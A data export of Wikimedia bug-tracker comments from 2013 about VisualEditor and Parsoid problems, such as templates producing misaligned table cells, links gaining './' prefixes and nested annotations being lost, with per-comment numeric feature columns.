Removing the pipe doesn't quite work, though: take a peek at http://en.wikipedia.org/wiki/2012_%28It_Ain%27t_the_End%29?veaction=edit vs. http://en.wikipedia.org/wiki/2012_%28It_Ain%27t_the_End%29 and notice how the manual entries and the templated entries align in the normal view but scramble in the edit view.

You really need to be parsing *after* template expansion and tracking all the text that the templates generate. That template should display as the chart and reference in the first column followed by a position in the second column, because that's what the wikitext the template generates says to do. Once the editor tries to edit any of those fields, the editor should be taken to the template editor. Displaying the output as a doublespaced item without any table boundaries that doesn't align with other entries is not the right answer to this problem.",,,1372791643,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-65s4zvg7e6km2enogisy,task_subcomment,,True,c1,3,False,,,0,,1.6666666666666667,0.3333333333333333,0.0,0.3333333333333333,1.6666666666666667,4.0,1.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,3.0,1.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,3.6666666666666665,10.666666666666666,0.3333333333333333,1.6666666666666667,0.6666666666666666,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,5.666666666666667,0.6666666666666666,1.3333333333333333,0.6666666666666666,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,15.666666666666666,0.6666666666666666,1.6666666666666667,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,1.0,0.6666666666666666,0.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,9.0,2.0,3.6666666666666665,2.0,2.0,13.333333333333334,0.0,0.0,0.0,0.0,4.666666666666667,0.0,0.0,0.0,2.0,10.666666666666666,0.6666666666666666,0.0,0.0,0.0,2.0,0.0,1.6666666666666667,2.0,0.0,1.6666666666666667,0.0,0.3333333333333333,0.0,3.987163561076604,0.7510697032436163,"**kwwilliams** wrote:

Hadn't noticed the leading | character. That is wrong, albeit harmless in most cases (if someone set rowheader=true, it would be a visible error). I removed all of those in a bot run before, and it looks like it's time to do it again.

Removing the pipe doesn't quite work, though: take a peek at URL vs. URL and notice how the manual entries and the templated entries align in the normal view but scramble in the edit view.

You really need to be parsing *after* template expansion and tracking all the text that the templates generate. That template should display as the chart and reference in the first column followed by a position in the second column, because that's what the wikitext the template generates says to do. Once the editor tries to edit any of those fields, the editor should be taken to the template editor. Displaying the output as a doublespaced item without any table boundaries that doesn't align with other entries is not the right answer to this problem."
248214,Templates that create multiple table cells don't work,and Parsoid. ;),,,1372788419,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-65s4zvg7e6km2enogisy,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,25.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.25,1.0,and Parsoid. ;)
248209,Templates that create multiple table cells don't work,"An example from  http://en.wikipedia.org/wiki/5_O%27Clock_%28T-Pain_song%29:

|{{singlechart|Australia|29|artist=T-Pain feat. Wiz Khalifa & Lily Allen|song=5 O'Clock}}

The issue here is that there is a pipe in the page source while another pipe is emitted by Singlechart. If the pipe in the page source is removed this will work in both the PHP parser and .",,,1372788394,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-65s4zvg7e6km2enogisy,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,13.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,21.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,21.0,5.0,5.0,15.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,13.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.096774193548387,0.7419354838709677,"An example from  URL

|{{singlechart|Australia|29|artist=T-Pain feat. Wiz Khalifa & Lily Allen|song=5 O'Clock}}

The issue here is that there is a pipe in the page source while another pipe is emitted by Singlechart. If the pipe in the page source is removed this will work in both the PHP parser and ."
248204,Templates that create multiple table cells don't work,My apologies for assuming that these two issues were related. Re-titling.,,,1372782463,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-65s4zvg7e6km2enogisy,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,27.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,20.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,4.2,0.9333333333333333,My apologies for assuming that these two issues were related. Re-titling.
248196,Templates that create multiple table cells don't work,"**kwwilliams** wrote:

""This can be fixed by avoiding 2""? How exactly is the template supposed to generate a row header and two table cells while ""avoiding 2)""?",,,1372782364,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-65s4zvg7e6km2enogisy,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,8.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,15.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,5.0,2.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,8.0,0.0,0.0,8.0,2.0,5.0,10.0,0.0,0.0,0.0,2.0,2.0,0.0,5.0,0.0,0.0,0.0,3.375,0.775,"**kwwilliams** wrote:

""This can be fixed by avoiding 2""? How exactly is the template supposed to generate a row header and two table cells while ""avoiding 2)""?"
248191,Templates that create multiple table cells don't work,"The problem here is 2), the extra | generated by Singlechart. The PHP parser flattens everything to a string, so it will eventually see '\n||' with one of those pipes generated by 2) and the other from 1). Parsoid on the other hand needs to keep track of where things came from, so sees those pipes as two td tags.

This can be fixed by avoiding 2).",,,1372782107,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-65s4zvg7e6km2enogisy,task_subcomment,,True,c1,3,True,,,0,,0.0,1.0,0.0,1.0,0.0,5.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,16.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,5.0,2.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,12.0,1.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,7.0,2.0,1.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,7.0,0.0,1.0,16.0,4.0,0.0,2.0,0.0,1.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,3.506172839506173,0.7037037037037037,"The problem here is 2), the extra | generated by Singlechart. The PHP parser flattens everything to a string, so it will eventually see '\n||' with one of those pipes generated by 2) and the other from 1). Parsoid on the other hand needs to keep track of where things came from, so sees those pipes as two td tags.

This can be fixed by avoiding 2)."
248189,Templates that create multiple table cells don't work,"This is the same as bug 50366 - merging with that one.

*** This bug has been marked as a duplicate of bug 50366 ***",,,1372781089,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-65s4zvg7e6km2enogisy,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.6774193548387096,"This is the same as bug 50366 - merging with that one.

*** This bug has been marked as a duplicate of bug 50366 ***"
52577,VisualEditor: Reconsider CSS content munging,"As per http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#Coords_not_displayed_in_title_when_open_in_VE , the coordinates move at the bottom of the page, where one is not expecting to find them.

--------------------------
**Version**: unspecified
**Severity**: major",Medium,50.0,1372767420,1429615710.0,PHID-USER-wil4b5lylrvf3krixlkl,True,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-spssyaufehg6a576inro,task_description,resolved,True,c1,3,False,False,False,0,,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,10.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,12.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,3.707317073170732,0.7073170731707317,"As per URL , the coordinates move at the bottom of the page, where one is not expecting to find them.

--------------------------
**Version**: unspecified
**Severity**: major"
446997,VisualEditor: Reconsider CSS content munging,"Indeed we did, this was done by the invaluable Ed in ee5b69772963c5d3f17b15742023cf33fc5dd48a.",,,1429615698,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-spssyaufehg6a576inro,task_subcomment,,True,c1,3,True,,,94,,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.928571428571429,1.0,"Indeed we did, this was done by the invaluable Ed in ee5b69772963c5d3f17b15742023cf33fc5dd48a."
446011,VisualEditor: Reconsider CSS content munging,"Dunno what happened here, but all three of the subtasks seem to no longer be a problem. Did we kill this?",,,1429478089,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-spssyaufehg6a576inro,task_subcomment,,True,c1,3,True,,,93,,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,8.0,0.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,4.0,8.0,0.0,4.0,17.0,0.0,0.0,0.0,0.0,8.0,4.0,4.0,0.0,4.0,8.0,0.0,4.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,3.5416666666666665,1.0,"Dunno what happened here, but all three of the subtasks seem to no longer be a problem. Did we kill this?"
247630,VisualEditor: Reconsider CSS content munging,"CSS content munging in general is a real pain, and we should find a way around it.",,,1385376106,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-spssyaufehg6a576inro,task_subcomment,,True,c1,3,True,,,21,,0.0,0.0,0.0,0.0,0.0,11.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,11.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,5.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,0.0,3.473684210526316,0.9473684210526315,"CSS content munging in general is a real pain, and we should find a way around it."
52549,VisualEditor: round-trip adjacent and nested annotations,"VisualEditor needs to preserve adjacent (even if identical) and additive elements that it internally treats as annotations. Right now it often removes nested annotations (bug 49755) or merges adjacent annotations (bug 49873, http://en.wikipedia.org/w/index.php?title=Bose%E2%80%93Einstein_condensate&diff=prev&oldid=562481552).

Both will lead to a DOM diff and thus likely to a dirty wikitext diff.

Note that this only applies to existing content- merging identical annotations in new content is fine.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1372734720,1380845963.0,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,False,PHID-TASK-kazpxbs6hxscszn2mj4j,task_description,resolved,True,c1,3,True,False,False,0,,0.0,0.0,0.0,0.0,0.0,13.0,1.0,0.0,0.0,1.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,8.0,9.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,8.0,0.0,1.0,1.0,0.0,1.0,9.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,1.0,9.0,2.0,3.0,4.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,2.0,9.0,2.0,0.0,0.0,0.0,2.0,0.0,1.0,2.0,0.0,2.0,0.0,0.0,0.0,4.462365591397849,0.6774193548387096,"VisualEditor needs to preserve adjacent (even if identical) and additive elements that it internally treats as annotations. Right now it often removes nested annotations (bug 49755) or merges adjacent annotations (bug 49873, URL

Both will lead to a DOM diff and thus likely to a dirty wikitext diff.

Note that this only applies to existing content- merging identical annotations in new content is fine.

--------------------------
**Version**: unspecified
**Severity**: normal"
246146,VisualEditor: round-trip adjacent and nested annotations,This has been fixed for some time in the DM. Marking as such.,,,1380845963,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-kazpxbs6hxscszn2mj4j,task_subcomment,,True,c1,3,True,,,13,,7.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.2666666666666666,0.9333333333333333,This has been fixed for some time in the DM. Marking as such.
246142,VisualEditor: round-trip adjacent and nested annotations,"Also, don't cut annotations. This is what I suspect happened here:
http://en.wikipedia.org/w/index.php?title=List_of_Mystery_Science_Theater_3000_episodes&diff=prev&oldid=562488147",,,1372742791,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-kazpxbs6hxscszn2mj4j,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,24.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5294117647058822,1.0,"Also, don't cut annotations. This is what I suspect happened here:
URL"
52539,./ still appearing in links.,"See https://en.wikipedia.org/w/index.php?title=Russkaya_Mysl&curid=38914039&diff=562427330&oldid=555891306

--------------------------
**Version**: unspecified
**Severity**: major
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=50720",Medium,50.0,1372724400,1373020641.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-xduyhafmy6kenmdf7cuh,task_description,resolved,True,c1,3,False,False,True,0,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1333333333333333,0.4,"See URL

--------------------------
**Version**: unspecified
**Severity**: major
**See Also**:
URL"
245337,./ still appearing in links.,"

*** This bug has been marked as a duplicate of bug 50720 ***",,,1373020641,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,,PHID-TASK-xduyhafmy6kenmdf7cuh,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 50720 ***"
245329,./ still appearing in links.,"Still getting this occurring. Examples


https://en.wikipedia.org/w/index.php?title=Austropotamobius_pallipes&curid=3945333&diff=562783871&oldid=545518009
https://en.wikipedia.org/w/index.php?title=Ron_Davies_(songwriter)&curid=31118393&diff=562723238&oldid=553701771
https://en.wikipedia.org/w/index.php?title=Sibling_relationship&curid=22409572&diff=562636237&oldid=561958868
https://en.wikipedia.org/w/index.php?title=Double_Rainbow_(viral_video)&curid=28129724&diff=562626607&oldid=560477885
https://en.wikipedia.org/w/index.php?title=Roger_Mompesson&curid=39389398&diff=562625481&oldid=560045122
(also changed a category link)",,,1372936732,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,,PHID-TASK-xduyhafmy6kenmdf7cuh,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,29.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,3.4583333333333335,0.6666666666666666,"Still getting this occurring. Examples


URL
URL
URL
URL
URL
(also changed a category link)"
245319,./ still appearing in links.,The visualeditor-needcheck tag also suggests that there was an issue in VE round-tripping. Reassigning to VE for investigation.,,,1372727544,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-xduyhafmy6kenmdf7cuh,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,17.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,17.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.583333333333333,0.875,The visualeditor-needcheck tag also suggests that there was an issue in VE round-tripping. Reassigning to VE for investigation.
245312,./ still appearing in links.,"Roan has not been able to reproduce this with VE, and parsoid.wmflabs.org/_rt/en/Russkaya_Mysl?oldid=555891306 does not show this issue either.

Maybe bug 50428 is related?",,,1372726643,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-xduyhafmy6kenmdf7cuh,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,4.0,7.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,7.0,0.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,11.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,7.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.592592592592593,0.9259259259259259,"Roan has not been able to reproduce this with VE, and parsoid.wmflabs.org/_rt/en/Russkaya_Mysl?oldid=555891306 does not show this issue either.

Maybe bug 50428 is related?"
52526,VisualEditor: Permit removal of parent template while retaining subtemplate,"English Wikipedia editor notes that sometimes when parent templates are removed, a subtemplate (or two) should remain, such as with Template:Multiple issues (http://en.wikipedia.org/wiki/Template:Multiple_issues). It would be a nice feature to allow the parent cat to be removed without removing all parameter, or permitting them to be ""escalated"" into templates themselves.

Realizing this is not likely to be a high priority, given more urgent issues, just putting in the request. :)

See
http://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=562454889#Can.27t_unwrap_template_within_template

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1372715400,,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-focb5kxme3jxk4n6xklr,task_description,open,True,c1,3,False,False,,0,,0.5,0.0,0.0,1.0,1.0,5.5,2.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.5,4.0,6.5,0.0,2.5,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,2.0,2.5,0.5,0.0,0.0,0.0,0.0,0.0,1.5,0.0,1.5,0.0,4.0,0.0,0.0,0.0,0.0,0.5,11.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.5,4.0,7.5,1.0,1.0,5.0,0.0,1.0,0.0,0.0,4.5,0.0,0.5,0.0,2.0,6.5,1.0,0.0,2.0,0.0,2.0,0.0,0.5,2.0,1.5,3.0,1.0,0.0,0.0,4.213137665967855,0.7566387141858839,"English Wikipedia editor notes that sometimes when parent templates are removed, a subtemplate (or two) should remain, such as with Template:Multiple issues (URL It would be a nice feature to allow the parent cat to be removed without removing all parameter, or permitting them to be ""escalated"" into templates themselves.

Realizing this is not likely to be a high priority, given more urgent issues, just putting in the request. :)

See
URL

--------------------------
**Version**: unspecified
**Severity**: enhancement"
52514,Complete and document VisualEditor's integration and plugin system,"We need an integration and plugin system for VisualEditor, both for extra tools (e.g. ""YouTube video node handler"") and tool over-rides (e.g. ""MediaWiki-specific H3 handler""), as well as a more generalised system to do init and integration.

Enjoy.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1372706340,,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-eqiuslxuu3t7bxl7vmwb,task_description,open,True,c1,3,True,False,,0,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,1.0,0.0,7.0,7.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,11.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,7.0,3.0,0.0,5.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,3.958904109589041,0.6438356164383562,"We need an integration and plugin system for VisualEditor, both for extra tools (e.g. ""YouTube video node handler"") and tool over-rides (e.g. ""MediaWiki-specific H3 handler""), as well as a more generalised system to do init and integration.

Enjoy.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
